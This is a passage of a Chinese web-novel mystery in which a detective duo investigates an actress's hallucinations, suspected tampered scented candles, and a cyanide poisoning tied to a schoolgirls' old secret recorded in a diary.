跟江绮家的床相比,阁楼沙发床虽然显得寒酸,床品也没那么柔软亲肤,但至少今天晚上不会再做噩梦、也不会在梦中被人掐住脖子了。
只是有些可惜即将到手的二十万就这么飞了,看来有的财富,还是命里无时莫强求啊。
不过就算钱没了,案子也还是要继续琢磨的,万一这真的是个剧情任务呢?
祝好靠在座椅上,就着车窗外流转的灯光开始梳理纷乱的思绪,试图把这几天发生的事情捋清楚。
先是江绮声称自己见鬼,紧接着曾跟她是高中同学的孟洁也有了类似的遭遇,而资料上显示,孟
洁当年也是通过考试拿到提前录取的名额,进入戏剧学院学习的。
江绮见到的所谓的“鬼”,以及监控里那个穿着校服的模糊身影,难道真的是那个跳楼自杀的女生因为不甘心,所以回来找她们吗?
不对。祝好再一次提醒自己,这不是个恐怖游戏,应该不会出现什么超自然力量,这一切诡异事件的背后一定有可以解释的缘由。
江绮去看过不少医生,首先可以排除她心理和精神方面的问题。
难道是饮食吗?也不对,那天她和程述也跟江绮吃了一样的东西,可为什么只有她和江绮一起做了噩梦,而程述却什么事也没有?
如果跟吃的东西没有关系的话,那会是什么呢?
脑海中忽然闪过一块碎片,祝好灵光一闪,一把揪住了程述的袖子:“老大。”
程述侧目看她:“干什么一惊一乍的,我在开车呢。”
话虽如此,但他手中的方向盘却把得很稳,受到惊吓的反应甚至没有那天得知祝好差点跟李砚川接吻时明显。
祝好问:“你还记得孟洁办公室的桌子上有什么吗?”
程述想了想:“电脑、文件、一些小装饰品,怎么了?”
祝好刚要接话,手机突然响了,是江绮。
犹豫片刻,她还是接起了电话。
电话刚接通,那头就传来江绮带着恳求的声音:“祝好,虽然这个请求有些唐突,不过……你们能再来陪我一个晚上吗?”
祝好转头看向程述,程述朝她轻轻摇了摇头表示拒绝。
见她不应声,江绮连忙补充道:“真的就一晚上,我保证今晚一定不会做噩梦了。”
祝好有些好笑,做不做噩梦还是能控制的?
不过她恰好也想验证一下自己的猜想,便应了下来:“好吧。”
江绮惊喜:“真的吗?那太好了!”
祝好:“嗯,我们现在过去。”
挂断电话,她忽然感受到身侧传来一丝瘆人的寒意,转头就看到程述板着张脸,全身上下每个毛孔都写着“不爽”两个字。
祝好讨好地笑了笑:“老大……”
程述面无表情地抬起右手,掌心朝向她:“别,我可不是你老大,反正我说的话也不作数,不如你来当老大,我当你的助手吧。”
哟,还闹脾气呢。
祝好可不想惯着他,抱着双臂往座椅里一靠:“好啊,那从今天开始你就是我的小助手了,以后你睡阁楼,我睡房间。”
程述:“你——”
祝好学着他的样子不以为意地耸了耸肩:“我什么我,难道你后悔了?”
程述气极反笑,好半天才憋出一句:“祝好,你可以啊。”
“跟你学的。”祝好看出他并没有真的在生气,用胳膊肘捅了捅他:“小助手,你想不想知道我为什么答应江绮?”
程述没吭声。
祝好自顾自说道:“孟洁办公桌上那些小装饰里有一个香薰蜡烛,一个点燃过的香薰蜡烛。江绮睡前也有点香薰蜡烛的习惯。你说有没有一种可能,或许导致江绮和孟洁,包括我做噩梦和出现幻觉的原因并不是药物或者鬼魂,而是蜡烛燃烧后释放的某种物质?”
程述还是没说话,但神色认真了不少,良久忽然无奈地摇了摇头:“我服了你了。”
服了就好,祝好比划了个圆圈:“那我们可以掉头了吧?”
“你真是拿命在破案啊,警局每年的先进奖就应该发给你。”程述认命地轻叹一声。
祝好:“怕什么,不是还有你在吗?别说江绮了,什么牛鬼蛇神我都不怕。”
程述对这句话似乎挺受用,嘴角轻轻勾了一下,在路口打满方向盘,调转了方向。
*
见他们出现在门口,江绮像是松了口气,连忙侧身把他们请进屋里。
和之前一样,程述睡在客厅沙发,祝好还是跟江绮睡一间卧室。不过在程述的要求下,房间门只虚掩着,并没有锁上,这样无论晚上发生什么事,他都能第一时间赶到。
在餐馆呆了一晚上,祝好总觉得身上有股子菜味儿,带着这股味道睡在江绮香喷喷的被窝显然不太合适,便打算借用她房间的浴室冲洗一下。
洗澡前,她把温珣妈妈送的手链摘了下来,小心翼翼地放在枕头旁边。
从浴室出来,江绮端着两杯茶进了房间,把其中一杯递给祝好:“这是薰衣草茶,助眠的。”
祝好接过杯子说了声“谢谢”,象征性地抿了几口。
江绮摇摇头:“是我该谢谢你们才对,本来我是让我的经纪人过来陪我的,但是她临时有事来不了。如果不是你们,我今晚真的不敢睡觉了。昨晚的事真的很抱歉,我不是故意的,我保证今晚不会再发生这样的事了。”
祝好心里还惦记着香薰蜡烛的事,对她这番话只是笑了笑,若无其事地把杯子放在一旁,顺手拿起床头的香薰蜡烛看了一眼,看似随意地问了句:“江绮,这个香薰蜡烛是在哪儿买的?”
江绮回答:“商场的专卖店。”
商场的专卖店?不应该啊。如果里面真的有可以致幻的东西,应该早就被人投诉了吧?况且这个香薰蜡烛跟孟洁办公室的显然不是同一种。
难道她的推测是错的?
祝好又问:“这个蜡烛你每天晚上都会用吗?包括住酒店的时候?”
江绮:“对啊,买了好几个囤着,你要是喜欢的话可以带回去。”
祝好:“没事,我就随便问问,我有点儿闻不习惯这个味道,今晚可以不点蜡烛吗?”
江绮虽然有些疑惑,但或许是怕她一不开心就跑路了,还是点了点头表示没问题,又压低声音向她打探:“你们跟今天来的警察很熟吗?知不知道孟洁那件事是怎么一回事?”
祝好略一思忖,还是摇了摇头,没把孟洁的真正死因和监控里出现在楼道口的那道身影告诉她,当然也没提香薰蜡烛的事——她如果提前知道了这些,说不定会有心理暗示,那祝好的猜测就没办法得到最准确的验证了。
薰衣草茶助眠的功效十分明显,有一搭没一搭地聊了一会儿,祝好就感觉睡意来势汹汹,大脑变得一片混沌。
不过她没忘记自己来这儿的初衷,强撑着眼皮再次叮嘱道:“江绮,今晚记得先别点蜡烛。”
睡在身侧的江绮似乎没受到薰衣草茶的影响,只说了句:“知道了,你困了就赶紧睡吧。”
不知是不是错觉,祝好总觉得今晚的江绮有点奇怪,看着心不在焉的,反应也比平时慢一些。
不过还没等她思考清楚,思绪就掉进一团浆糊里,随着席卷而来的困意不知所踪。
这一觉祝好睡到了大天亮,直到感觉有人在摇晃自己的肩膀,才艰难地睁开眼睛,透过眼皮的缝隙,看到了程述的脸。
看她醒来,程述皱了皱眉:“怎么睡得那么沉,江绮说叫了你好几声你都不醒。”
“可能是昨晚的薰衣草茶太有效了吧。”祝好撑着身子从床上坐起来,感觉脑袋有些发沉发晕,身上也没什么力气。
不过回想起来,她昨晚好像真的没做噩梦,江绮那头也没什么动静。
难道真的是因为香薰蜡烛的原因吗?
她问:“江绮呢?”
程述耸了耸肩:“在楼下。看来你的猜测可能是对的,昨晚没点蜡烛,她没做噩梦,也没有出现幻觉。”
“是吗?”祝好揉了揉发涨的太阳穴,不知怎么的,思绪总有些涣散,“可江绮说这个蜡烛是在专卖店买的,专卖店会卖这种能致幻的蜡烛吗?”
程述不置可否地笑了笑,拿起床头的香薰蜡烛把玩了一下,压低声音问她:“你说这栋房子里,除了江绮,还有谁能接触到这个?”
“还有……”祝好混沌的脑子里像是突然破开一道光:“连阿姨?”
楼下传来开门声和连阿姨爽朗的笑声,程述朝她做了个“嘘”的手势:“先别声张,也别告诉江绮。现在我们没办法完全确定,得让老秦拿去化验一下里面的成分。”
第156章
连阿姨正在厨房里准备早餐,水池旁边放了不少新鲜蔬菜。看到程述和祝好从楼上下来,她招呼道:“你们醒啦,早餐快好了,坐着等会儿。”
祝好朝着她笑,敷衍了一句:“我们还有事,就不一起吃了,你们吃吧。”
从江绮床头拿的那个香薰蜡烛还藏在包里,想到刚才的猜测,祝好总觉得连阿姨那看似和蔼的笑容里藏着什么秘密。
江绮对她很信任,把她当作家人看待,甚至在程述怀疑她的时候为她辩解;而连阿姨也对江绮很好,细心照料她的生活起居,帮她把别墅打理得井井有条。
如果连阿姨真的对香薰蜡烛做了手脚,又是出于什么目的呢?
江绮在正对着花园的落地窗前接了个工作电话,挂断电话后,坐回沙发上,淡淡地对祝好笑了一下。
她今天素面朝天,头发随意挽着,那张美得无可挑剔的脸上有难掩的疲倦,眼睛下面有一层隐隐的青灰色。
祝好关切问她:“江绮,你昨晚没做噩梦了吧?”
“没有,昨晚我睡得很好,你呢?”
睡得好的话黑眼圈怎么会那么重呢?难道是因为失眠的时间持续的太长,这一晚上的好睡眠根本补不回来?
祝好随口答:“我也睡得挺好的。”
回想起来,昨晚那一觉确实睡得很沉,但奇怪的是醒来之后却没有轻松的感觉,反而觉得身体十分沉重。
她总觉得有哪里不对劲,但脑子一片浆糊,一时抓取不到重点。
听到她们的对话,连阿姨切菜的手微不可察地停滞了半秒钟,又若无其事继续手里的动作,但这转瞬即止的举动还是被祝好用余光尽收眼底。
“对了,祝好,这张支票你收下。”
祝好收回目光,疑惑地看向江绮递过来的那张支票:“委托不是还没结束吗?”
不仅委托没结束,在检测结果出来之前,他们甚至不能确定香薰蜡烛会不会就是江绮会做噩梦以及出现幻觉的原因。
江绮把支票塞进她手里:“没事,你们收下吧。这几天给你们添麻烦了,今晚你们就不用再过来了。还有……这件事希望你们不要外传,毕竟对我的影响不太好。”
她的语气诚恳,又透着让人无法拒绝的坚定。
祝好明白她的顾虑,她终归是个演员,这样的私事自然是不希望被外界所知的。
但祝好还是很疑惑,为什么不让他们调查清楚再结束呢?难道她已经察觉出谁才是幕后黑手,但出于某些原因不想告诉他们,所以才打发他们走吗?
既然金主都已经开口中止委托了,他们作为受委托方,自然也没有立场再继续探究下去。
况且孟洁的案子还没有水落石出,就算这边的委托中止了,警方也不会放弃调查她死亡的真相,这件事远远没有结束。
基于此,祝好没说什么,只是点了点头,接过支票放进程述外套胸前的口袋里——再怎么说她也差点儿被江绮掐死,用命换来的钱不拿白不拿。
从江绮家出来,他们随便在路边解决了早餐,然后驱车赶往警局。
秦聿风已经在办公室里等着了,程述一进门就先问他:“怎么样?”
他说的是昨天晚上让秦聿风查的那个跳楼的女孩的事。
“我让人查过了,七年前那所高中确实有个跳楼自杀的女孩,名叫麦苗。据她当年的班主任说,自从意外从舞台摔落之后,她就一直郁郁寡欢,甚至出现了精神方面的问题。”
秦聿风从办公桌上拿了个文件袋递给他:“这是当年的卷宗。监控显示麦苗那天是一个人坐电梯上的顶楼,那个时段楼顶也没有其他人。尸检报告也让温主任看过了,麦苗身上的伤都是典型的高空坠落自杀造成的损伤,基本可以排除他杀。”
从现场拍摄的照片来看,当时的情况也跟江绮描述的差不多。麦苗从楼顶坠落时穿着绿色的运动校服,长发披散着,四肢均呈现不同程度的扭曲变形,清隽的脸庞上双目圆睁,似乎在泣诉自己的不甘。
程述把卷宗还给秦聿风,又从祝好的包里拿出那只香薰蜡烛放在桌上:“对了,警局里有设备能检测这个香薰蜡烛里面的成分吗?”
秦聿风把香薰蜡烛拿在手里掂了掂:“我们这儿哪有那么高级的设备?倒是有跟警局合作的第三方机构可以提供成分检测服务,不过这跟案子有什么关系吗?”
程述:“这是从江绮家带出来的,我怀疑里面被人为添加了某种燃烧后可以致幻的成分,孟洁办公室里也有香薰蜡烛,你派人去取了一起送过去检测一下。”
“致幻?”秦聿风皱眉:“如果孟洁是因为这玩意儿出现幻觉我还能理解,可楼道里那个人影又是怎么一回事?总不能我们也一起出现幻觉了吧。”
程述沉吟片刻,问道:“能不能查一下麦苗有什么亲属?”
“能是能,不过你们觉得孟洁的死跟江绮委托你们调查的那件事有关吗?”
程述没回答,而是把目光投向祝好:“你觉得呢?”
听到自己的名字,祝好抬起头回视:“嗯?”
程述拧着眉问:“你怎么了,反应那么迟钝。”
祝好晃了晃脑袋:“不知道,感觉昏昏沉沉的。”
今天从早上起床她就一直觉得自己不太对劲,总是无法清晰地思考,就那刚才程述和秦聿风的那段对话来说,寥寥几句,她都要消化好久,就好像脑子里起了团雾似的。
“不会是发烧了吧?”“是不是生病了?”
程述和秦聿风同时抬手想要探一探她额头的温度,又不约而同在半空中顿住了,两人的目光隔空相撞,仿佛利刃出鞘,裹挟着风声碰撞在一起。
祝好:“……”
她定了定神,往后挪了一些:“我没事,没发烧,也不难受。”
程述拍掉秦聿风的手,不由分说覆上她的额头,确认她是真的没发烧才放下心来。
秦聿风问:“祝好,你昨天晚上睡前吃了什么吗?”
“就喝了杯薰衣草茶。”祝好捏了捏眉心:“可能真的是薰衣草茶的助眠功效太强了吧。”
秦聿风还想说什么,但门外传来几声急促的敲门声,打断了他的话。
一名警员急匆匆推开门,向他汇报:“秦队,接到通知,发生一起命案。”
“又来?”秦聿风头疼地扶着额角,简直想去庙里烧香拜佛算个卦问问为什么最近那么倒霉了,末了还是叹了口气,说道:“地址发我,叫上温主任,一起过去看看。”
警员应了一声,转身刚要走,又被秦聿风叫住,把程述刚刚说的那几件事跟他交代了一遍。
去往案发现场的路上,祝好揿下车窗,冷冽的冬风呼呼灌进车里,她的头脑才清明了一些。
放眼望去,一片片连甍接栋的自建楼、错综勾连的乱巷、上了年纪的老旧商铺、蛛网似的电线……车窗外的景致越来越熟悉,祝好才反应过来,这不是魅享party附近那个城中村吗?
之前调查姚雨欣的案子时,他们也来过这儿。
发生命案的地方也是一栋由自建房改造成的公寓楼,跟姚雨欣之前住的那种差不多。房间门半敞开着,死者就俯卧在门口附近的地上,口吐白沫,睡衣上还粘着不少白色的呕吐物。
警员向他们介绍情况:“受害者名叫阮玉雯,26岁,是附近一家酒吧的领舞,这个房子是她半个月前刚租下的。”
温珣戴好手套,先仔细检查了死者的身体形态,给出了初步判断:“死亡时间应该在4到5小时左右,身上没有明显外伤,面部、口唇绀紫,尸体表面可见鲜红色的
尸斑,耳廓耳垂呈樱桃红。”
“看着有点像氰/化物中毒。”程述摘下口罩,靠近阮玉雯的面部闻了闻:“有股淡淡的苦杏仁味。”
秦聿风闻言也学着他的样子低头闻了一下,疑惑道:“我怎么闻不到?”
温珣笑了笑:“苦杏仁味只有少部分人能闻出来,程大侦探那张嘴天天泡在毒里,可能对这种气味比较熟悉。”
程述毫不在意地一耸肩,只当他是夸奖。
有警员发出质疑:“现在市场上很难买到氰/化物吧?”
程述答了句:“只是很难买到,不代表买不到。这年头只要有钱有渠道,人命都能买。”
温珣正色道:“不过是不是氰/化物中毒,还得把尸体带回去解剖过才知道。”
秦聿风问身边的警员:“是谁报的案?”
警员回答:“是死者的邻居。他路过时发现死者的房门半掩着,人就倒在门口。一开始还以为她是喝醉了,摇了摇她才发现不对劲,就赶紧报了警。”
“这儿有监控吗?”
“没有。”警员又补充了一句:“这儿的自建房几乎都没有安装监控。”
秦聿风点点头,小心翼翼绕过尸体,走进屋里。
这是一间一室一厅的出租屋,屋内有些凌乱,客厅的茶几上放了半瓶牛奶,地上有一个打碎的玻璃杯,门口的鞋架倒了,鞋子散落一地。
除此之外,并没有打斗痕迹。
看起来阮玉雯应该是喝下了含有氰/化物的牛奶,察觉到身体出现不适,想起身开门求救。但**的中毒发展十分迅速,她才刚把门打开,就已经停止了呼吸,倒在地上。
在周围走访调查的警员很快带回消息:“秦队,有邻居反应,昨天晚上十一点左右曾经听到死者的房间里传出她和一个男人的争吵。”
秦聿风问:“吵的什么内容?”
“具体的没听清,只听到什么照片、钱之类的。”警员说:“哦,对了,死者上个月刚离婚,离婚前曾报警称她的前夫对她进行过家暴。”
秦聿风挥挥手:“把他带回局里问一下什么情况。”
祝好跟着程述走进了阮玉雯的房间。
房间里东西不多,只有一张床、一个梳妆台和一个简易的衣柜,床上只有一个枕头,卫生间里也只有一套洗漱用品,说明阮玉雯离婚后就从家里搬出来了,一个人在这儿居住。
打开衣柜,里面除了几件常服外,就是一些演出服。这些演出服都不太正经,清一色是短到不能再短的裙子,不过结合她“酒吧领舞”的工作来看,倒也还正常。
不过……领舞?
祝好短路了一天的大脑似乎瞬间通上电,三两步走到客厅询问警员:“能不能帮我查一下,阮玉雯的高中和大学分别是在哪所学校就读的?”
第157章
警员很快查到了阮玉雯的资料,跟祝好推测的一样,她的确是舞蹈专业的学生,跟江绮、孟洁毕业于同一所高中,并且也就读与戏剧学院。只是她并没有从戏剧学院毕业,资料上显示,大二那年她就从学校退学了。
虽然两个案子看似有着千丝万缕的联系,可孟洁和阮玉雯的职业大不相同,死因也没有任何共同点——孟洁是受到惊吓后心脏病发作而死,而阮玉雯则有可能是氰/化物中毒。
难道这只是个巧合?
有警员过来向秦聿风汇报:“秦队,已经找到了阮玉雯的前夫,现在正带回局里。”
现场情况勘察得差不多了,温珣也已经把尸体装进了裹尸袋。秦聿风跟警员交代了几句,让他们继续走访周围的邻居,顺便把周边的监控都调取出来,然后朝程述和祝好招了招手:“走,回去看看。”
警局的审讯室里坐着个三十岁出头的男人,穿着一件皱巴巴的黑色羽绒服,他就是阮玉雯的前夫,名叫陆正光。
虽然年纪刚过不惑,但长期混乱的作息和大量烟酒让陆正光整个人看起来精神状态十分颓靡,脑袋上也已经秃了一大片。
负责审讯的警员问道:“陆正光,昨天晚上11点你在哪儿?”
陆正光不是第一次进局子了,坐在审讯椅上吊儿郎当地抖腿,显然没把警员放在眼里,懒洋洋地回答:“不记得了。”
“那我帮你回忆一下,村塘村佳家公寓三楼308,你去找谁了?”
陆正光拖长音调哦了一声:“找我老婆。”
警员问:“你老婆叫什么名字?”
陆正光不耐烦:“我老婆叫什么名字需要告诉你吗?你自己没有老婆吗?诶不对,你们到底为什么抓我啊?抓错人了吧阿sir,我可是五好公民。”
监控室里的秦聿风翻看着他的资料,冷笑了一声:“寻衅滋事、故意伤害、聚众赌博……好一个五好公民。”
警员一拍桌子:“好好说话,别装傻!”
陆正光两手一摊:“我老婆叫阮玉雯。怎么,又是她报的警?我这回可没打她,只是找她聊了几句而已,你们警察到底分不分是非黑白啊,凭她几句话就把我抓进来?”
他这句话,就等于承认自己昨天晚上确实去找过阮玉雯。
警员:“只是聊了几句吗?”
“那不然呢?”陆正光小声嘀咕:“虽然语气重了点儿,但也不至于抓我吧。”
“你在阮玉雯家待了多久?”
“不记得了,半个多小时吧,那娘们脾气越来越大,我没坐多久她就喊我滚了。”
警员似笑非笑地看着他:“那你应该很生气吧?”
陆正光一脸的“你这不是废话么”,说道:“阿sir,你老婆这样跟你说话你不生气吗?但我这回真没打她,
上回她报警害我在拘留所蹲了十天,我哪儿还敢再动手啊?”
秦聿风通过监控室的话筒吩咐警员:“别跟他说废话了,问重点。”
警员意会,把案发现场的照片摆在桌上:“今天早上,阮玉雯被人发现死在家中,死因是氰/化物中毒。”
陆正光一时没反应过来,愣了好半天才缓缓将目光挪到照片上,随即露出惊恐的神色,错愕道:“不是,她死了?怎么可能,你开玩笑吧阿sir?”
警员死死盯着他:“陆正光,这是警局,我们从不开玩笑。你刚才说,昨天晚上十一点钟你确实去了阮玉雯家,还跟她发生过争吵,是吗?”
“是、是啊。”陆正光一愣,意识到刚刚脱口而出的话已经收不回来了,磕磕巴巴地解释:“但我真没有……我没杀人。我走的时候她还好好的,我发誓!”
他举起手本想作发誓状,因为太紧张,变成了一个敬礼的手势。
警员厉声问道:“昨天晚上你去找她干什么?为什么吵起来了?”
“我找她问点事情,她怎么也不愿告诉我,我、我就……”陆正光一脸局促,出了一脑门子汗,话都说不利索了:“但我没有杀她啊阿sir,我我我真的只是去找她问、问点事,没杀人,你们抓、抓错人了。”
秦聿风用监控室的话筒给警员传话:“给他倒杯水,问他跟阮玉雯聊了什么,从头到尾说一遍。”
一口气喝光两杯水后,陆正光又问警员要了支烟,花了半个多小时才缓过来。
警员:“好了,说说看,到底发生了什么。”
据陆正光所说,他是在阮玉雯上大学时跟她认识的。阮玉雯家庭条件不太好,所以晚上会偷偷去酒吧兼职跳舞赚点生活费,一来二去的,也就跟当时在酒吧当领班的陆正光熟识了,并在他的花言巧语下成为了他的女友。
大二时,阮玉雯意外怀孕,她父母知道后气急败坏让她赶紧把孩子打掉,并跟陆正光分手。可被所谓的“爱情”冲昏头脑的阮玉雯根本听不进去,不仅偷偷办理了退学手续,还从家里偷走户口本,跟陆正光领了结婚证。
然而他们的孩子最后却没保住,婚后的陆正光也逐渐露出了真面目,不仅沉迷赌博、屡教不改,最后干脆辞去了工作,只靠阮玉雯在酒吧跳舞挣钱养家。
一个月前,在一次争吵中,他动手打了阮玉雯。阮玉雯终于忍无可忍,报警把他送进了拘留所,并向他提出了离婚。
陆正光不安地搅动自己的手指,说道:“前几天我想在家里找点东西出去卖钱,忽然翻到了我老婆忘在衣柜里的一本日记本,里面还有一张她和几个女孩的合照,我一看,其中有个人居然是最近很火的那个女演员,叫江、江什么来着……”
警员问:“江绮?”
陆正光忙不迭点头:“对对对,就是她!我看了那本日记,才知道她们之前是高中同学。”
“那本日记呢?”
“还在家里。”
秦聿风转头交待身旁的警员:“通知在陆正光家搜查的人,让他们找到那本日记带回来。”
审讯室里,对陆正光的讯问还在继续。
“日记里的内容跟你昨晚去找阮玉雯有什么关系?”
知道自己有可能背上谋杀的罪名,陆正光早已敛起又横又冲的态度,讪笑着回答:“那本日记上说,她们要一直保守一个什么秘密,所以将来都不会再联系了。我一想,秘密?那不就是黑历史吗?明星最怕的就是这个!”
顿了的,他继续说:“所以我就去找了我老婆,想问问她到底是什么秘密,如果真的是那种黑历史,我就能跟那个江绮友好协商一下,换点儿这个……”
说到这里,他搓了搓自己的拇指和食指。
祝好觉得好笑,还“友好协商”呢,敲诈勒索还差不多。
不过那个所谓的“秘密”,会跟最近发生的一系列事情有关吗?
警员问:“所以阮玉雯告诉你了吗?”
陆正光:“没有,她死活不肯说,还让我赶紧滚,我就跟她吵了几句。但我真的没杀她,我没杀人啊,阿sir,你们要相信我。”
负责去陆正光家搜查的警员很快把他说的那本日记带了回来,此外还在他们家单元楼下的信箱里找到了一封信。
秦聿风首先把那封信打开,里面是一张对折起来的纸条,展开一看,上面是四个红色的大字——“我回来了”。
祝好心里一咯噔:这张纸条跟在孟洁办公室垃圾桶里找到的一模一样。
秦聿风敲开审讯室的门,把那张纸条递给负责审讯的警员,在他耳边低语了几句。
警员走回陆正光面前,把纸条放在桌上,问道:“这张纸条是怎么一回事?”
陆正光皱了皱眉,一脸茫然:“不知道啊,我从来没见过这玩意儿。”
这句话倒不像是撒谎,这年头有什么事要么就是打电话,要么就是发信息,写信的人少了,信箱自然也成了摆设,更不会有人注意到叠在一大堆传单里的信封。
这张纸条显然是写给阮玉雯的,但那个“我”指的到底是谁?是给她们寄信的人吗?
程述翻开了那本封面已经掉皮的日记本,里面夹着的那张照片确实是江绮、孟洁和阮玉雯三个人的合照,照片里她们都是十六七岁的模样,穿着统一的舞蹈服。
日记本里的日期是七年前,也就是高中时期,内容多是些青春时期的碎碎念。
除了跟舞蹈有关的内容之外,孟洁和江绮的名字出现的频率也很高,看得出来,她们三个人关系曾经十分要好。
跳过前面一些鸡零狗碎的内容,程述直接把日记翻到了最后几页。
【2018年3月14日
我和孟洁、江绮约定好了要一起上戏剧学院,可提前批录取的名额只有三个,我们三个人实力都不差,如果没有那个人在就好了,好担心她会把我们其中一个人挤下去。我要继续努力练习才行。】
【2018年3月27日
江绮的提议让我有些犹豫,可这次机会对我来说太重要了,据说还会有奖学金,如果我被提前录取,就可以减轻家里的负担了。
怎么办,我要答应她吗?】
【2018年4月2日
还有几天时间考试就要开始了,我紧张得连续几天都没睡好。
工厂最近的效益不太好,爸爸的工资已经好几个月没发了,我一定要顺利通过考试,拿到奖学金才行。
江绮今天又提起了那件事,她说孟洁已经同意了,我让她再给我两天时间考虑。我真的要这么做吗?】
【2018年4月6日
心情很糟糕,我好像做了一件不好的事情。今天就写那么多吧。】
【2018年4月9日
今天的考试很顺利,我所有的动作都完成得很好,孟洁和江绮也说她们自我感觉很不错。
可是一想到那件事,我总觉得内心有些不安。】
……
【2018年7月13日
提前批录取结果出来了,果然我们三个人都被录取了!过两天就可以去拿录取通知书了,爸爸妈妈都很开心,我的努力没有白费。】
【2018年7月16日
我真的没想到会发生这样的事,我好后悔,但是后悔也已经来不及了。
对不起,对不起,对不起……】
【2018年7月18日
今天江绮给我打电话了,让我把这件事烂在肚子里,以后也不要再联系了。这件事只有我们三个人知道,只要我们不说,它就一直是个秘密。
我这几天晚上一直在做噩梦,感觉自己快要疯了。】
第158章
日记到这里就结束了,但祝好还是有很多疑问。
结合日记的内容和那张合影可以知道,江绮、孟洁和阮玉雯曾是很好的朋友,并且都通过考试拿到了戏剧学院提前录取的名额。
但因为某件事,几个昔日好友为了保守秘密而分道扬镳,甚至在进入同一所大学读书后,也互相避嫌,装作不认识对方。
那么多年没再联系,孟洁死之前却突然给江绮打去电话,难道真的如江绮说的那样,只是为了跟老同学叙旧吗?
祝好直觉事情没那么简单。
刚合上日记本,就听到审讯室里的警员问陆正光:“你最近还有没有收到其他东西?”
陆正光想了想,一拍大腿:“对了,前几天我还收到了一个包裹,写的是我老婆的名字,我还以为是她网购忘了改地址,结果拆开发现是两个带点儿香味的破蜡烛,看起来没什么用,我就给扔了。”
又是蜡烛?
江绮的卧室里有香薰蜡烛,孟洁的办公室里有香薰蜡烛,阮玉雯同样也收到了香薰蜡烛——只不过给她寄蜡烛的人或许并不知道她已经搬走了,把东西寄到了她的原
住址,恰好被陆正光收到,当成垃圾扔掉了。
巧合多了就不再是巧合,这其中一定有着必然的联系。
江绮用的香薰蜡烛是在专卖店买的,本身应该不会出问题,如果她的噩梦和幻觉真的是因为连阿姨对蜡烛做了手脚,那孟洁和阮玉雯收到的蜡烛会不会也是连阿姨所为?
可她究竟为什么要这么做?
秦聿风转头问身旁的警员:“那个香薰蜡烛的检测结果什么时候出来?”
警员:“机构那边说三到五天出报告。”
秦聿风摆了摆手:“不用出报告,让他们加急,把结果告诉我们就行。”
警员应了一声,拿着手机打电话去了。
对陆正光的审讯从下午一直持续到晚上,不管负责审讯的警员怎么问,他都一口咬定自己没杀过人。不过他具备了作案动机和作案条件,只要找到他作案的证据,就算没有口供,也可以给他定罪。
昨天晚上在江绮家虽然一觉睡到天亮,但醒来后祝好一直感觉全身乏力,在外奔波了一天后更是疲惫,整个人没精打采的,在监控室里一个接一个不停打着哈欠。
程述淡淡地瞥了她一眼,又抬头看了看墙上的挂钟,对秦聿风说道:“老秦,我的下班时间到了。”
警局里这会儿也没什么他们能帮上忙的事,秦聿风嗯了一声,在翻看资料的间隙里朝他摆了摆手,示意他赶紧滚蛋。
走到家门口,隔着门就听到了白眼狼不满的嚎叫。门一打开,它立刻高高弓起身子,竖着大毛尾巴,扯着嗓门大声控诉两脚兽让自己挨饿的罪行。
虽然昨天拜托了房东大妈帮忙进屋放点猫粮,但房东大妈显然低估了这只体型比她养的小狗还要大一倍的庞然巨物的食量,放的那一点粮还不够白眼狼塞牙缝的,这时猫碗早已经空空如也,一颗猫粮也不剩,就连碗底都被舔得锃亮。
程述啧了一声,径直走到放罐头的柜子前,无视了祝好贴在门上那张“禁止心软”的字条,打开一整个罐头倒进碗里。
白眼狼嗷一声饿虎扑食般冲上前,哼哧哼哧埋头吃个不停。吃饱喝足后,又开始了饭后运动,叼着那只沾满口水的玩具老鼠来到祝好面前,眼巴巴地看着她。
祝好弯腰捡起玩具老鼠往远处扔去,白眼狼立刻扭动着肥硕的身躯飞奔过去把老鼠叼回来。
来回几趟后终于玩累了,给自己舔了舔毛后,打着咕噜来到程述身旁,用脑袋拱了拱他的手,示意他给自己来个大保健。
程述拍了拍它的脑袋,偏头看到祝好靠在沙发上发呆,问道:“你今天到底怎么了,一整天蔫了吧唧的。”
祝好搓着下巴,答非所问:“老大,我总觉得这几件事好像有关联,但又好像少了点什么。”
虽然身体和精神都很疲惫,但她还是不自觉去思考这几天发生的事。
阮玉雯的死无意中牵扯出她和孟洁、江绮之间的关系,以及某个不为人知的秘密。那张写着“我回来了”的纸条,会不会跟当年那个所谓的“秘密”有关?
还有就是,孟洁和阮玉雯都收到了纸条,为什么江绮没收到?
程述有一下没一下地撸着白眼狼的脑袋,突然开口:“也许江绮也收到了。还记得我们在江绮家住的时候,连阿姨给过她一个信封吗?”
祝好猛地回忆起来,当时江绮拆开那封信后脸色变得很难看,可当祝好询问她时,她却只是随口应付了两句,似乎并不打算将这件事告诉他们。
江绮一定在隐瞒着什么。
很好,非常好,这案子愈发错综复杂了。
而他们缺少的,是一条能把整件事串联起来的线。
祝好几乎能确定,这么难搞的案子,一定是系统剧情任务无疑。
程述叹了口气:“赶紧去洗洗睡吧,天天这么高速运转,你这cpu早晚有一天会烧坏。”
祝好撇了撇嘴,回阁楼里拿了浴巾和换洗的衣服,走进了卫生间。
*
翌日清晨,警局会议室。
祝好和程述推开门时,会议室里已经坐了不少人。温珣正端坐在会议桌旁贴满照片的白板前面,拿着红外线笔对阮玉雯的尸检结果进行讲解。
“死者阮玉雯,26岁,身高一米六五,死亡时间在昨天,也就是1月16号的清晨。全身无明显外伤,尸斑呈现鲜红色,消化道、胃黏膜、十二指肠糜烂,另外普鲁士蓝法也检测出死者的胃液中的确含有氰|化物,可以确定死因为氰|化物中毒。”
“在桌上开封过的牛奶以及地上摔碎的玻璃杯中,也检测出了氰|化物。另外我们从牛奶盒上提取了几枚指纹,对比后确认属于陆正光。推测是陆正光趁阮玉雯不备,提前在牛奶中加入了氰|化物。”
他把红外线移到案发现场的照片上:“清晨阮玉雯喝牛奶时发觉不对劲,试图开门向外界求救。虽然从茶几到门口只有两米距离,但氰|化物中毒发作十分迅速,因此她才刚打开门就已经断气了。”
“辛苦了,温主任。”秦聿风拍了拍他的肩膀,转头问昨天负责审讯的警员:“陆正光怎么说?”
警员在审讯室里耗了一整个晚上,疲惫不堪,打了个哈欠回答道:“老样子,死都不承认人是他杀的,刚才还在哭天喊地说自己冤枉呢。”
秦聿风笑了一声:“审讯室里有几个人不喊冤的?”
又问:“牛奶盒上的指纹他怎么解释?”
“他说是当时跟阮玉雯吵到一半口渴了,拿起牛奶喝了几口。”
会议室里发出稀稀拉拉的笑声,在所有人看来,这个借口实在太过拙劣了。
